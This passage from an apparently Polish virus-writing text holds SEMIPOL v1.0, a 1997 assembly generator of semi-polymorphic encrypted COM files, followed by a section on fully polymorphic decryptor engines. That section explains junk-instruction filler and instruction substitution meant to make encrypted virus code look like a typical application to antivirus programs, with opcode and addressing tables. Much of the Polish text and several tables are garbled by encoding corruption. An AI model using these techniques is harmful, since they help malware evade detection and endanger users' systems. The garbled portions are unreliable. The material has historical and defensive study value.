      mov   cx,256                      ; CX:=AX:=ile slow zapisac (1..256) 
 
 Smietnik:                              ; wypelnianie 
 
      Call  Pseudolosowa                ; wez przypadkowa dana 
      stosw                             ; zapisz ja 

background image

 
      loop  Smietnik                    ; zapisz "smieci" w buforze 
 
                                        ; generuj procedure dekodera 
                                        ; 
                                        ; Dekoder ma nastepujaca postac : 
                                        ; 
                                        ;        mov si,PoczatekDanych BE,???? 
                                        ;        mov cx,IleDanych      B9,???? 
                                        ;    Petla: 
                                        ;        sub  [si],Losowa      
81,2C,???? 
                                        ;        dec  cx               49 
                                        ;        jz  Koniec            74,?? 
                                        ;        jmp Petla             E9,???? 
                                        ;     Koniec: 
                                        ; 
      mov   di,Semi_Dokad               ; bufor docelowy (do zapisu na dysk) 
 
      call  LosowySkok                  ; wstaw losowy skok 
 
      mov   al,0BEh                     ; DEKODER: mov si, ofset Poczaek 
      stosb                             ; BE,???? 
      mov   Semi_GdziePocz,di           ; ofset bedzie wstawiony pozniej 
      stosw                             ; zostaw miejsce na ofset 
 
      call  LosowySkok                  ; wstaw losowy skok 
 
      mov   al,0B9h                     ; DEKODER: mov cx,IleDanych 
      stosb                             ; B9,???? 
      mov   ax,Semi_IleDanych           ; wpisz, ile danych do odszyfrowania 
      stosw                             ; 
 
      call  LosowySkok                  ; wstaw losowy skok 
 
      mov   Semi_Petla,di               ; DEKODER: sub [si],Losowa 
      mov   ax,2C81h                    ; pierwsza czesc rozkazu 
      stosw 
      mov   ax,Semi_Losowa              ; zapisz wartosc dekodujaca 
      stosw                             ; zaszyfrowany program 
 

background image

      call  LosowySkok                  ; wstaw losowy skok 
 
      mov   al,46h                      ; DEKODER: inc si 
      stosb 
 
      call  LosowySkok                  ; wstaw losowy skok 
 
      mov   al,46h                      ; DEKODER: inc si 
      stosb 
 
      call  LosowySkok                  ; wstaw losowy skok 
 
      mov   al,49h                      ; DEKODER: dec cx 
      stosb 
 
      call  LosowySkok                  ; wstaw losowy skok 
 
      mov   al,74h                      ; DEKODER: JZ ?? 
      stosb                             ; wstaw pierwsza czesc rozkazu 
      mov   Semi_DokadJZ,di             ; zostanie ustawione pozniej 
      stosb                             ; zostaw miejsce na ofset 
 
      call  LosowySkok                  ; wstaw losowy skok 
 
      mov  al,0E9h                      ; DEKODER: JNZ -> JMP z powrotem 
      stosb                             ; wstaw E9 
      mov   ax,Semi_Petla               ; oblicz ofset do DEKODER : Petla: 
      sub   ax,di                       ; 
      sub   ax,2                        ; odejmij dlugosc operandu w E9,???? 
      stosw                             ; 
 
      mov   bx,Semi_DokadJZ             ; oblicz ofset do DEKODER : Koniec: 
      mov   ax,di                       ; i wstaw go pod wczesniej zapamietany 
      sub   ax,bx                       ; ofset 
      dec   ax                          ; odejmij dlugosc operandu w 74,?? 
      mov   [bx],al                     ; 
 
      mov   bx,Semi_GdziePocz           ; oblicz ofset, gdzie zaczynaja 
      mov   ax,di                       ; sie dane przeznaczone do deszyfrowania 
      sub   ax,Semi_Dokad               ; z uwzglednieneim ofsetu dla 
      add   ax,100h                     ; pliku COM (ORG 100h) 

background image

      mov   [bx],ax                     ; i zapisz pod zapamietany adres 
 
      mov   cx,Semi_IleDanych           ; ile danych do kopiowania 
      lea   si,TMPBufor                 ; pobieraj z bufora zawierajacego 
      rep   movsw                       ; zaszyfrowany kod i kopiuj na koniec 
 
      mov   cx,di                       ; oblicz, ile danych do zapisu, czyli 
      sub   cx,Semi_Dokad               ; wartosc zwracana przez procedure 
 
      pop   di si ax                    ; przywroc zapamietane rejestry 
 
      ret                               ; powrot z procedury 
 
;----------------------------------------------------------------------------- 
LosowySkok:                             ; wstawia losowy skok 
 
        mov   ax,15                     ; zakres skokow 1..15 
        Call  PseudolosowaAX            ; losuj z zakresu 1..15 
 
        mov   ah,al                     ; 
        mov   al,0EBh                   ; AX=skok,EB 
        stosw                           ; zapisz EB,skok 
 
        mov   al,ah                     ; 
        mov   ah,0                      ; AX:=AL=skok 
 
        add   di,ax                     ; dodaj do di 
 
        ret                             ; powrot z procedury 
 
Semi_IleDanych dw ?                     ; \  potrzebne do chwilowego 
Semi_Skad      dw ?                     ;  - zachowania roznych wartosci 
Semi_Dokad     dw ?                     ; / 
Semi_Losowa    dw ?                     ; wartosc szyfrujaca kod 
Semi_GdziePocz dw ?                     ; \  adresy do zmiennych nieznanych 
Semi_Petla     dw ?                     ;  \ w momencie, kiedy sa potrzebne 
Semi_DokadJZ   dw ?                     ;  / aby mozna bylo je pozniej 
                                        ; /  zmienic 
PseudoZarodek  dw ?                     ; \ aktualny zarodek generatora liczb 
                                        ; / pseudolosowych 
TMPBufor       db 256 dup(?)            ; \ rozmiar tymczasowego bufora 

background image

                                        ; - = 256 bajtow, (o rozmiarze co najmniej 
                                        ; / rownym dlugosci kodu wirusa) 
 
;----------------------------------------------------------------------------- 
PseudoLosowa:                           ; generuje liczbe pseudolosowa 
                                        ; z zakresu 1..65535 
      mov   ax,0FFFFh 
 
PseudoLosowaAX:                         ; przedzial w AX 
 
      push  dx                          ; zachowaj na chwile DX 
 
      Call  ZmienPseudoZarodek          ; zmien zarodek 
 
      mul   PseudoZarodek               ; DX:AX:=przedzial*Zarodek 
      xchg  ax,dx                       ; AX:=0..przedzial 
 
      inc   ax                          ; pomin zero 
      pop   dx                          ; przywroc DX ze stosu 
 
      ret 
 
ZmienPseudoZarodek:                     ; zmienia PseudoZarodek 
 
      push  ax                          ; zachowaj stary AX 
 
      in    al,40h                      ; AL:=przypadkowa wartosc 
      xchg  ah,al                       ; AH:=AL 
      in    al,40h                      ; AX:=przypadkowa wartosc 
      xor   ax,0ABCDh                   ; operacje pomocnicze 
      add   ax,1234h                    ; operacje pomocnicze 
      mov   PseudoZarodek,ax            ; przepisz nowy zarodek 
 
      pop   ax                          ; przywroc stary AX 
 
      ret                               ; powrot z procedury 
 
;----------------------------------------------------------------------------; 
;          Programik do zaszyfrowania wyswietlajacy komunikat                ; 
;                    przy uzyciu 09/21                                       ; 
;----------------------------------------------------------------------------; 

background image

RozmiarPrzykladowegoKodu = offset KoniecKoduPrzykladowego- offset 
StartKoduPrzykladowego 
 
StartKoduPrzykladowego: 
           call TrikCALL_POP ; trik do uzyskania relatywnego ofsetu 
     TrikCALL_POP: 
           pop   si          ; wez relatywny ofset, gdzie kod jest w pamieci 
 
           mov   dx,offset TePrzyklad-Offset StartKoduPrzykladowego-3 
           add   dx,si       ; DX:=ofset do tekstu (relatywny) 
 
           mov   ah,9        ; funkcja DOS - wyswietl tekst$ 
           int   21h         ; wywolaj funkcje 
 
           int   20h         ; powrot do DOS (program typu COM) 
 
TePrzyklad db CR,LF          ; tekst do wyswietlenia 
           db '[Program wygenerowany przez SEMIPOL v1.0, Autor: Adam Blaszczyk]' 
           db DOLAR 
KoniecKoduPrzykladowego: 
;----------------------------------------------------------------------------- 
 
TeCopyRight             db CR,LF,'SEMIPOL v1.0, Autor : Adam Blaszczyk 1997', 
                        db CR,LF,NUL 
TeGenerator             db CR,LF,'Czekaj, generuje plik(i) ...',CR,LF,NUL 
AktualnaNazwaPliku      db 'SEMI' 
       AktNumPliku      db '0001' 
                        db '.COM',NUL 
            TeCRLF      db CR,LF,NUL 
 
      PSP_Segment       dw ? 
      UchwytPliku       dw ? 
      LiczbaPlikow      dw ? 
      BuforDocelowy     db 4096 dup(?) 
 
 
      StosStart         db RozmiarStosu dup(?) 
      StosKoniec: 
 
SEMI_POL ENDS 
 

background image

END Start 
 
 
8.2.1.2. Pełny polimorfizm 
Prawdziwie polimorficzne generatory zmiennych procedur szyfrujących powinny tworzyć 
przy każdym uruchomieniu całkowicie nową, unikalną procedurę dekodującą. Procedura 
taka najczęściej zachowuje tylko funkcje poniższej sekwenq'i: 
LICZNIK:=IleDanych  
INDEX:=Pocz╣tekZaszyfrowanegoKodu 
FOR I:=1 to Licznik do begin 
   DEKODUJ_1 DANą [INDEX] 
   DEKODUJ_2 DANA [INDEX] 
   DEKODUJ_N DANA [INDEX]      
   INDEX:=INDEX + PRZYROST ; 
end; 
Dla każdej procedury dekodującej generator losuje najczęściej odpowiednio: 
> indeks; 
> licznik; 
> kierunek zwiększania licznika; 
> kierunek dekodowania; 
> rodzaj używanych instrukcji (8086, 80286 itd.). 
Licznik oznacza najczęściej rejestry procesora wybierane z listy (E)AX, (E)BX, (E)CX, 
(E)DX, (E)BP, (E)SI, (E)DI. Rejestr (E)SP jest z wiadomych względów pomijany. 
Oczywiście, możliwe jest także użycie rejestrów 8-bitowych (najprościej jako licznika). 
Litera (E) oznacza, iż możliwe jest wybranie także rejestrów 32 bitowych, jednak należy 
pamiętać, że użycie ich znacząco komplikuje samą procedurę generującą. 
Z kolei indeks wybierany jest z listy możliwych sposobów adresowania dla procesorów 
80x86. Może to być więc [BX+????], [BP+????], [SI+????], [DI+????], [BP+SI+????], 
[BP+DI+????], [BX+SI+????] lub [BX+DI+????]. Są to wszystkie możliwości, jakie może 
zawierać pole MmRejMem w instrukcjach operujących na danych w pamięci. 
Liczbę różnych indeksów można poszerzyć poprzez użycie sposobów adresowania, 
które pojawiły się w procesorach 386 i wyższych. Umożliwiają one (poprzez 
zastosowanie słowa rozkazowego SIB) zastosowanie do adresowania wszystkich 
użytkowych rejestrów procesora. 
Kierunek zwiększania licznika określa, czy licznik rośnie aż do wartości maksymalnej, 
czy też maleje od tej wartości do zera. 
Kierunek dekodowania określa, od której strony zacznie się dekodo-wanie wirusa po 
uruchomieniu procedury; czy od początku zaszyfro-wanego kodu, czy też od jego końca. 
Konsekwencją obranych kierunków będą odpowiednie rozkazy zwiększające lub 
zmniejszające indeks i licznik. Od kierunków również zależeć będzie instrukcja 
sprawdzająca warunek zakończenia pętli dekodującej. Stopień skomplikowania samego 
dekodera wzrośnie, jeżeli pozwolimy na dynamiczne zmiany licznika i indeksu podczas 
działania programu. Na przykład, jeżeli początkowy licznik ustalimy jako CX, to po kilku 
wygenerowanych instrukcjach należy za pomocą instrukcji MOV REjl6, CX lub XCHG 
REJ16, CX wymusić zmianę licznika na inny.Jeśli chcemy skomplikować całą procedurę 

background image

i uczynić ją polimorficzną, należy między instrukcje stanowiące integralną część 
dekodera wstawić rozkazy niepotrzebne z punktu widzenia działania programu, lecz 
niezbędne do zaciemnienia i ukrycia głównej procedury dekodu-jącej (rozkazy te muszą 
być wybierane losowo). 
O ile w procedurze semi-

polimorficznej do zaciemnienia kodu dekodera służył tylko 

jeden rozkaz, JMP SHORT, o tyle w przypadku pełnej procedury polimorficznej należy 
uwzględnić jak największą ilość rozkazów procesora. 
Instrukcje stanowiące taki wypełniacz muszą spełniać kilka warunków. Najważniejsze 
Jest to, aby rozkazy te: 
> nie zamazywały dowolnie nie używanej przez siebie pamięci; 
> nie zawies

zały komputera; 

> nie powodowały generowania wyjątków; 
> nie niszczyły zawartości ważnych dla działania programu rejestrów (m.in. CS, SS, SP 
oraz rejestrów stanowiących indeks i licznik). 
Część powyższych ograniczeń można ominąć, o ile wykonana operacja zostanie 
odwrócona, a więc możliwe jest np. zamazanie pamięci, ale tylko pod warunkiem, iż w 
zniszczone miejsce wpiszemy chwilę później oryginalną, zapamiętaną wcześniej 
zawartość. Podobnie ma się sprawa ze zmienianiem rejestrów. Jeżeli chcemy np. 
zmienić rejestr będący licznikiem, możemy jego wartość na chwilę zapisać do innego 
rejestru lub na stosie, a następnie zmienić go tak, aby po wykonaniu kilku kolejnych 
instrukcji przywrócić jego oryginalną zawartość. 
Najprostszy sposób to wstawienie jako wypełniacza instrukcji 1-bajtowych, jednak jest 
ich tak niewiele w liście rozkazów, iż procedura zawierająca tylko takie instrukcje będzie 
łatwa do wykrycia. Ponadto zbyt duża ich ilość w programie też nie jest pożądana, gdyż 
z reguły programy używają instrukcji kilkubajtowych, w związku z czym nadmiar 
instrukcji 1-

bajtowych może wydać się podejrzany (zwłaszcza programowi 

antywirusowemu). 
Pamiętać trzeba, iż najlepiej byłoby, gdyby wygenerowana procedura przypominała 
fragment typowych programów komputerowych, stąd też wskazane jest używanie w 
generatorze wywoływań przerwań BIOS i funkcji systemu DOS (np. sprawdzanie wersji 
systemu DOS, sprawdzanie, czy jest jakiś klawisz w buforze klawiatury itp.), które 
spowodują, iż ewentualnemu programowi antywirusowemu program wyda się typową 
aplikacją. 
Innymi, prostymi do wykorzystania instrukcjami są rozkazy operujące na akumulatorze 
(AX) i na jego młodszej części (AL), gdyż posiadają uproszczone w stosunku do innych 
rejestrów kody. Również operacje przypisywania rejestrom roboczym jakiejś wartości są 
bardzo proste do wstawienia (grupa rozkazów MOV REJ/???? o kodach B0/??-B7/?? 
dla rejestrów AL - BH lub B8/????-BF/???? dla rejestrów AX - DI). 
Trochę trudniejsza jest symulacja operacji stosowych, rozkazów skoków i wywołań 
procedur, 

jednak, jak pokazują istniejące generatory, można je z powodzeniem 

stosować. Aby procedura dekodująca była jak najbardziej podobna do fragmentu 
typowego programu, warto stosować instrukcje modyfikujące jakieś komórki w pamięci. 
Używając ich należy pamiętać, iż zmodyfikowaną wartość należy później bezwzględnie 
przywrócić (chyba, że mamy pewność, iż jest to dana nieistotna np. w kodzie wirusa). 
Korzystając z operacji działających w pamięci na argumentach typu word i dword nie 
wolno zapominać o tym, iż np. przy adresowaniu bazowym lub indeksowym wartości 
rejestrów (SI, DI, BX, BP) będą najczęściej nie ustalone, stąd może wystąpić sytuacja, w 

background image

której instrukcja będzie pobierała lub modyfikowała daną z pogranicza dwóch 
segmentów. Innymi słowy, offset obliczany na podstawie indeksu będzie miał np. 
wartość 0FFFFh, co przy próbie dostępu do danej word lub dword z miejsca pamięci 
określonego przez ten offset spowoduje wystąpienie wyjątku (numer 13 - ogólne 
naruszenie mechanizmów ochrony). 
Aby uwzględnić w generatorze jak najpełniejszą listę rozkazów, należy zaopatrzyć się w 
spis instrukcji procesorów 80x86 i ich kodów maszynowych, a następnie przeanalizować 
każdą z instrukcji pod kątem jej przydatności jako części wypełniacza oraz warunków, w 
których zadziała ona poprawnie. Dobrym przykładem może być analiza instrukcji 
LODSB, którą chcielibyśmy zastosować zamiast instrukcji INC SI. Oprócz tego, iż 
modyfikuje ona rejestr AX (dokładniej AL), pamiętać trzeba, iż jej poprawne działanie 
zależne jest także od stanu bitu kierunku DF, zawartego w rejestrze znaczników. 
Używając jej musimy mieć więc pewność, iż wcześniej wystąpiła już instrukcja CLD, 
która właściwie ustawiła bit DF. 
Powyższy przykład został dobrany celowo, gdyż pokazuje on, że aby uzyskać dany 
efekt, nie trzeba wca

le używać szablonowych instrukcji, lecz poprzez użycie 

odpowiednich zamienników (działających 
tak samo) można uzyskać jeszcze większą zmienność procedury de-kodującej. Innymi 
przykładami mogą tu być także poniższe operacje zerujące rejestr CX: 
MOV CX,0               ; najbardziej trywialne zerowanie rejestru CX 
XOR CX,CX              ; operacja XOR na tych samych operandach zeruje je 
SUB CX,CX              ; odejmij CX od CX, w efekcie CX=0 
AND CX,0               ; iloczyn logiczny z zerem jest zerem 
ZerujCX:               ; po wykonaniu pŕtli LOOP ZerujCX           
                       ; rejestr CX bŕdzie rˇwny O 
MOV CX,XYZ             ; wpisz do rejstru CX wartoťŠ  
SUB CX,XYZ             ; i potem j╣ od niego odejmij 
MOV REJ16,0            ; zeruj jakiť rejestr 16-bitowy  
MOV CX,REJl6           ; i za jego pomoc╣ zeruj rejestr CX 
XOR CL,CL              ; kombinacje powy┐szych operacji dla rejestrˇw 8-bitowych 
SUB CH,CH              ; CL i CH │╣cznie tak┐e wyzeruja rejestr CX 
Oczywiście, powyższe sekwencje nie wyczerpują wszystkich możliwości. 
Powyższą operację należy stosować przy doborze nie tylko instrukcji modyfikujących 
indeks i licznik, ale i przy rozkazach będących integralną częścią dekodera. Można np. 
zamiast jednej instrukq'i ADD [INDEX],???? użyć: 
CLC ADC [INDEX], ???? 
SUB [INDEX],-???? 
MOV REJ,????  
ADD [INDEX],REJ 
Możliwości jest tu, podobnie jak poprzednio, bardzo dużo. Po wygenerowaniu procedura 
dekodująca powinna mieć postać podobną do poniższej sekwencji: 
.......                  ; wype│niacz 
inicjuj rejestr  - licznik lub indeks  
.......                   ; wype│niacz 

background image

inicjuj rejestr - indeks lub licznik  
.......                  ; wype│niacz 
pierwsza instrukcja dekodera 
.......                  ; wype│niacz 
druga instrukcja dekodera  
.......                  ; wype│niacz 
n-ta instrukcja dekodera 
.......                  ; wype│niacz 
sprawdzenie warunku zako˝czenia pŕtli  
.......                  ; wype│niacz 
skok, je┐eli warunek spe│niony 
.......                  ; wype│niacz 
w│aťciwy, zaszyfrowany  
kod wirusa, do ktˇrego 
zostanie przekazane 
sterowanie po rozkodowaniu 
.......                  ; wype│niacz 
Przeprowadzając kilkakrotnie powyższe operacje można uzyskać kilkustopniową 
procedurę dekodera, która będzie bardzo trudna do wykrycia przez programy 
antywirusowe. 
Aby przyspieszyć wykonywanie procedury dekodującej, często szyfruje się cały kod 
wirusa jakąś stałą procedurą, a dopiero ta jest roz-kodowywana za pomocą zmiennej 
procedury deszyfrującej, której wystarcza na rozkodowanie kilkakrotne wykonanie pętli 
dekodera. Innym sposobem może być tu całkowite pominięcie pętli i stworzenie kodu, 
który wygeneruje właściwą, stałą procedurę dekodująca w locie, budując odpowiednie 
jej instrukcje z odpowiednich fragmentów rozrzuconych po kodzie. 
Poniżej zebrano informacje o wszystkich znanych instrukcjach procesorów 80x86 
(kierując się ich przydatnością do wykorzystania w generatorze). 
Lista nie zawiera rozkazów koprocesora, rozkazów systemowych oraz instrukcji 
wykorzystywanych przez języki wysokiego poziomu 
(nie są one wykorzystywane przez generatory polimorficzne). Oprócz kodów instrukcji 
podano opis sposobu zapisywania adresów za pomocą bajtu MmRejMem (286+) i SIB 
(386+). 
Informacje podane poniżej dotyczą działania instrukcji w trybie rzeczywistym procesora, 
a więc adresowania segmentów o rozmiarze maksymalnym 64k. W przypadku trybu 
chronionego i segmentów większych niż 64k (najczęściej 4G, czyli model FLAT) należy 
wziąć pod uwagę, iż działanie przedrostków 66 i 67 ma w nich odmienne znaczenie. Na 
przykład, jeżeli chcemy wygenerować rozkaz zerowania rejestru AX (MOV AX/0), należy 
dla segmentu zadeklarowanego z dyrektywą USE16 umieścić w buforze ciąg B8, 00, 00, 
zaś dla segmentu zadeklarowanego z dyrektywą USE32 użyć sekwencji 66, B8, OO, 00. 
C

hcąc natomiast zerować rejestr EAX (MOV EAX/0), należy dla segmentu USE16 użyć 

sekwencji 66, B8, 00, 00, 00, 00, a dla segmentu USE32 - 

B8, 00, 00, 00, 00. Jak widać, 

przedrostki 66 i 67 służą do wymuszania trybu interpretowania instrukcji, odmiennego od 
t

ego którego używa procesor w danym trybie. W trybie rzeczywistym wymusza on 

background image

instrukcje 32-

bitowe, w chronionym zaś 16-bitowe. 

Ze względu na to, iż instrukcje często zawierają argumenty w postaci kilku bitów 
umieszczonych w różnych miejscach, wszystkie kody instrukcji zawarte poniżej 
występują jako liczby binarne. 
Działanie procedury generującej wypełniacz może wyglądać mniej więcej tak: 
N:=LiczbaPseudolosowa  
For I:=1 to N do GenerujInstrukcjŕ 
Liczba N określa, ile instrukcji zostanie wygenerowanych podczas jednego wywołania 
procedury. 
Procedura GenerujInstrukcję powinna wybrać (np. z tablicy) pierwszy bajt instrukcji i 
zapisać ją do bufora, a następnie, o ile to konieczne, dodać wymagane operandy. 
Podczas wybierania argumentów instrukcji należy sprawdzać czy wylosowany, 
przypadkowy argument nie koliduje w jakiś sposób z używanymi przez dekoder 
rejestrami. Jeżeli tak jest, procedurę wybierania argumentu należy kontynuować, aż do 
znalezienia odpowiedniego argumentu. Procedura GenerujInstrukcję powinna wyglądać 
mniej więcej tak (zapisana w pseudojęzyku, trochę podobnym do Pascala): 
procedurŕ GenerujInstrukcjŕ; 
X:=LiczbaPseudolosowa wybieraj╣ca generowana instrukcjŕ sprawdč atrybuty 
instrukcji wskazywanej przez X 
if s╣ jakieť operandy then 
   dla ka┐dego operandu begin     
      repeat 
         arg:=Pseudolosowa        
         if arg nie koliduje z zasobami dekodera to argument znaleziony     
      untii argument znaleziony lub furtka bezpiecze˝stwa 
   wstaw operand=arg end else wstaw instrukcjŕ bez operandˇw; 
end; 
Załóżmy, iż dla dekodera zostały wybrane: 
[Mem, cz໩ bajtu MrnRejMem, w tym przypadku [BX+SI] }  
Indeks:= 000             ;{Rejestr: z przedzia│u 000.. 111}  
Licznik:= 001            ;{trzeba zdekodowaŠ u┐ywane 
                         ; przez indeks dwa rejestry, w tym                                      
                         ; przypadku oczywiťcie rŕcznie }  
IndeksModyf1:= 110       ; [numer rejstru SI}  
IndeksModyf2:= 011       ; (numer rejestru BX} 
Niech procedura GenerujInstrukcje wybierze teraz do wstawienia np. rozkaz DEC, który 
w tabeli jest zapisany jako: 
01001Rej       DEC rejestr Rej. 
Jak widać, instrukcja ta posiada parametr Rej, w tym przypadku rejestr 16 - lub 32 - 
bitowy. Załóżmy, iż rejestr jest 16-bitowy. Zapisana w asemblerze sekwencja szukająca 
operandu dla instrukcji powinna wyglądać mniej więcej tak: 
SzukajArgumentu: 
MOV AX,7  
Call RandomAX               ; weč liczbŕ z przedzia│u 000...111 

background image

 

 

                ; liczba w AL (bo AH-0) 

cmp AL,IndeksModyfl         ; czy rejestr zajŕty przez  

 

             

                            ; pierwsza cz໩ indeksu ?  
je SzukajArgumentu 
cmp AL, IndeksModyf2        ; czy rejestr zajŕty przez 
 

 

                ; druga cz໩ indeksu ?  

je SzukajArgumentu 
cmp AL, Licznik             ; czy rejestr zajŕty przez licznik ?  
je SzukajArgumentu 
cmp AL,100b                 ; czy rejestr to SP ?  
je SzukajArgumentu 
 

 

                ; argument znaleziony i jest w AL  

 

                         

                            ; AL=00000arg - argument na trzech 
 

 

                ; m│odszych bitach  

or al, 01001000b             ; zsumuj logicznie z 5 bitami kodu 
 

 

                ; operacj i DEC 

stosb                        ; zapisz ca│a instrukcjŕ DEC arg do bufora 
Post

ępując w podobny sposób można rozszerzyć generator o wszystkie możliwe do 

wykorzystania, opisane dalej instrukcje. 
W opisie instrukcji przyjęto następujące oznaczenia: 
Rej - 

określa rejestr biorący udział w operacji; rodzaj rejestru (8-, 16-, czy 32-bitowy) jest 

określany na podstawie bitu D (jeżeli ten istnieje w instrukcji) oraz w zależności od tego, 
czy przed instrukcją wystą-pił przedrostek 66. Jeżeli D=0, to rejestr jest 8-bitowy; jeżeli 
przedrostek nie wystąpił i D=0, to 16-bitowy, w innym wypadku jest on 32-bitowy. 
Wartości przypisane poszczególnym rejestrom są następujące: 
Rej 

000 

001 

010 

011 

100 

101 

110 

111 

8-bitowe 

AL. 

CL 

DL 

BL 

AH 

CH     

DH 

BH 

16-bitowe  AX 

CX 

DX 

BX 

SP 

BP 

SI 

DI 

32-bitowe  EAX 

ECX 

EDX 

EBX 

ESP 

EBP 

ESI 

EDI 

 
Mem - 

określa adres w pamięci, na którym wykonywana jest operacja; sposób 

adresowania zależy od obecności przedrostka 67 oraz od pola struktury MmRejMem, 
będącej drugim bajtem instrukcji. W zależności od zawartości pola Mm zmienia się 
wielkość offsetu dodawanego do odpowiednich rejestrów (08 - ofset 8 bitowy, 016 - 16 
bitowy, 032 - 32 bitowy). 
Jeżeli nie wystąpił przedrostek 67, to używany jest następujący sposób adresowania (16 

bitowy, Seg oznacza domyślny segment adresujący dane, jeżeli przed instrukcja nie 

wystąpił przedrostek innego segmentu): 
Mem 

Seg/Mm  00 

01 

10 

11 - operacja 
na rejestrze o 
numerze Mam, 
a nie na 
pamieci 

000 

DS 

[BX+SI] 

[BX+SI+O8] 

[BX+SI+O16] 

 

background image

001 

DS 

[BX+DI] 

[BX+DI+O8] 

[BX+DI+O16] 

 

010 

SS 

[BP+SI] 

[BP+SI+O8] 

[BP+SI+O16] 

 

011 

SS 

[BP+DI] 

[BP+DI+O8] 

[BP+DI+O16] 

 

100 

DS 

[SI] 

[SI+O8] 

[SI+O16] 

 

101 

DS 

[DI] 

[DI+O8] 

[DI+O16] 

 

110 

DS/SS 

DS:[O16]  SS:[BP+O8] 

SS:[BP+O16] 

 

111 

DS 

[BX] 

[BX+O8] 

[BX+O16] 

 

 
Jeżeli wystąpił przedrostek 67, to używany jest następujący sposób adresowania 
(32-bitowy): 
Mem 

Seg/Mm  00 

01 

10 

11-operacja na 
rejestrze o 
numerze Mem, 
a nie na 
pamięci 

000 

DS 

[EAX] 

[EAX+O8} 

[EAX+O32] 

 

001 

DS 

[ECX] 

[ECX+O8] 

[ECX+O32] 

 

010 

DS 

[EDX] 

[EDX+O8] 

[EDX+O32] 

 

011 

DS 

[EBX] 

[EBX+O8] 

[EBX+O32] 

 

100 

 

[SIB] 

[SIB+O8] 

[SIB+O32] 

 

101 

DS/SS 

DS:[O32] 

SS:[EBP+O8] 

SS:[EBP+O32]   

110 

DS 

[ESI] 

[ESI+O8] 

[ESI+O32] 

 

111 

DS 

[EDI] 

[EDI+O8] 

[EDI+O32] 

 

 
Użyty w tabeli skrót SIB (ang. Scale Index Base) oznacza rozszerzony sposób 
adresowania, w którym ułatwiony jest m.in. dostęp do tablic. Bajt opisujący pola SIB 
występuje zaraz po bajcie MmRejMem. Sposób obliczania przez procesor adresu 
zawartego w SIB jest następujący: 
Adres SIB:=Baza+Indeks*(2^N), gdzie 
> baza opisywana jest przez bity 7-5 bajtu SIB; 
> indeks opisywany jest przez bity 4-2 bajtu SIB; 
> liczba N opisywana przez bity 1-

0 bajtu SIB (tak więc jedyna możliwość to mnożenie 

indeksu przez 2^00=1, 2^01=2, 2^10=4 2^11=8). 
Poniższa tabela zawiera wartości, które może przyjmować Baza. 
Baza 

Seg/Mm 

00 

01,10,11 

   

000 

DS 

EAX 

EAX 

001 

DS 

ECX 

ECX 

010 

DS 

EBX 

EBX 

011 

DS 

EDX 

EDX 

100 

SS 

ESP 

ESP 

101 

DS/SS 

DS:O32 

SS:EBP 

110 

DS 

ESI 

ESI 

111 

DS 

EDI 

EDI 

 
Poniższa tabela zawiera wartości, które może przyjmować Indeks. 
Index 

Rejestr 

000 

EAX 

background image

001 

ECX 

010 

EBX 

011 

EDX 

100 

101 

EBP 

110 

ESI 

111 

EDI 

 
Sg - 

opisuje rodzaj segmentu użytego w operacji. 

Możliwe wartości Sg to: 00=ES, 01=CS, 10=SS, 11=DS 
Seg - 

rozszerzone Sg (uwzględnia FS i GS). 

Możliwe wartości Seg to: 000=ES, 001=CS, 010=SS, 011-DS, 100=FS, 101-GS 
Wwww - 

określa różne warunki występujące w skokach lub rozkazach SRTxxxx i może 

przyjmować wartości przedstawione w poniższej tabeli: 
Wartość                        Warunek   
0000                O - overflow 
0001                NO - not overflow 
0010                C-carry 
0011                NC-notcarry 
0100                Z-zero 
0101                NZ-not zero 
0110                NA-notabove 
0111                A-above 
1000                S-sign 
1001                NS-notsign 
1010                P-parity 
1011                NP-notparity 
1100                L-less 
1101                NL-not less 
1110                NG-notgreat 
1111                G-great 
 
Ope - 

używane przez niektóre instrukcje do określania operacji matematycznej lub 

logicznej, którą ma instrukcja wykonać. 
Ope 

000 

001 

010 

011 

100 

101 

110 

111 

Opis 

ADD 

OR 

ADC 

SBB 

AND 

SUB 

XOR 

CMP 

 
Op2 - 

tworzy podgrupę operacji wykonywanych przez instrukcje o bajcie początkowym 

=82/83 (jest to zrnniejszona lista Ope). 
Ope2 

000 

001 

010 

011 

100 

101 

110 

111 

Opis 

ADD 

ADC 

SBB 

 

 

SUB 

 

CMP 

 
Op3 - 

opisuje grupę instrukcji o pierwszym kodzic=F6/F7. 

Ope 

000 

001 

010 

011 

100 

101 

110 

111 

Opis 

TEST 

 

NOT 

NEG 

MUL 

IMUL 

DIV 

IDIV 

 
Op4 - opisuje instrukcje z pierwszym bajtem =FE, 

background image

Ope 

000 

001 

010 

011 

100 

101 

110 

111 

Opis 

INC 

 

DEC 

 

 

 

 

 

 
Op5 - opisuje instrukcje z pierwszym bajtem =FF. 
Ope 

000 

001 

010 

011 

100 

101 

110 

111 

Opis 

INC 

DEC 

CALL 
NEAR 

CALL 
FAR 

JMP 
NEAR 

JMP 
FAR 

PUSH 

 

 
Ops - 

opisuje różne rodzaje przesunięć. 

Ope 

000 

001 

010 

011 

100 

101 

110 

111 

Opis 

ROL 

ROR 

RCL 

RCR 

SHL 

SHR 

SAL 

SAR 

 
Akumulator - oznacza rejestr AL, AX lub EAX; rodzaj rejestru wybierany jest na 
podstawie bitu D (jeżeli ten jest w instrukcji) oraz obecności przedrostka 66. 
Wartkom8 - 

oznacza bajt określający liczbę będącą operandem instrukcji. 

WartkomD - oznacza bajt, s

łowo lub dwusłowo (zależnie od bitu D i przedrostka 66) 

określające liczbę będącą operandem instrukcji. 
Reladre8 - 

określa relatywny offset (z zakresu -128..+127), który dodawany jest do 

wskaźnika instrukcji IP po wykonaniu np. skoku lub procedury. 
ReladreD - 

określa relatywny offset, który dodawany jest do wskaźnika instrukcji IP po 

wykonaniu np: skoku, procedury (rodzaj ofsetu: 16- czy 32- 

bitowy określany jest na 

podstawie obecności przedrostka 66). 
Numport8 - 

określa numer portu (8 bitów), na którym wykonuje się operację IN lub OUT. 

Addroffs i Addrsegm - 

określają segment i offset, pod który skacze procesor po 

wykonaniu dalekiej procedury lub dalekiego skoku. 
bit D - 

określa rodzaj operandu: bajt, słowo lub dwusłowo; 

jeżeli nie wystąpił przedrostek 66 i D=0: bajt, 

jeżeli nie wystąpił przedrostek 66 i D=1: słowo, 

jeżeli wystąpił przedrostek 66 i D=1: podwójne słowo. 

bit S - 

określa kierunek przesyłania danych podczas wykonywania instrukcji 

zawierających bajt MmRejMem; S=0 Operacja Mem, Rej i S=1 Operacja Rej, Mem. 
bit F - 

ustawiony, oznacza, iż jest to RETF, w przeciwnym razie RETN. 

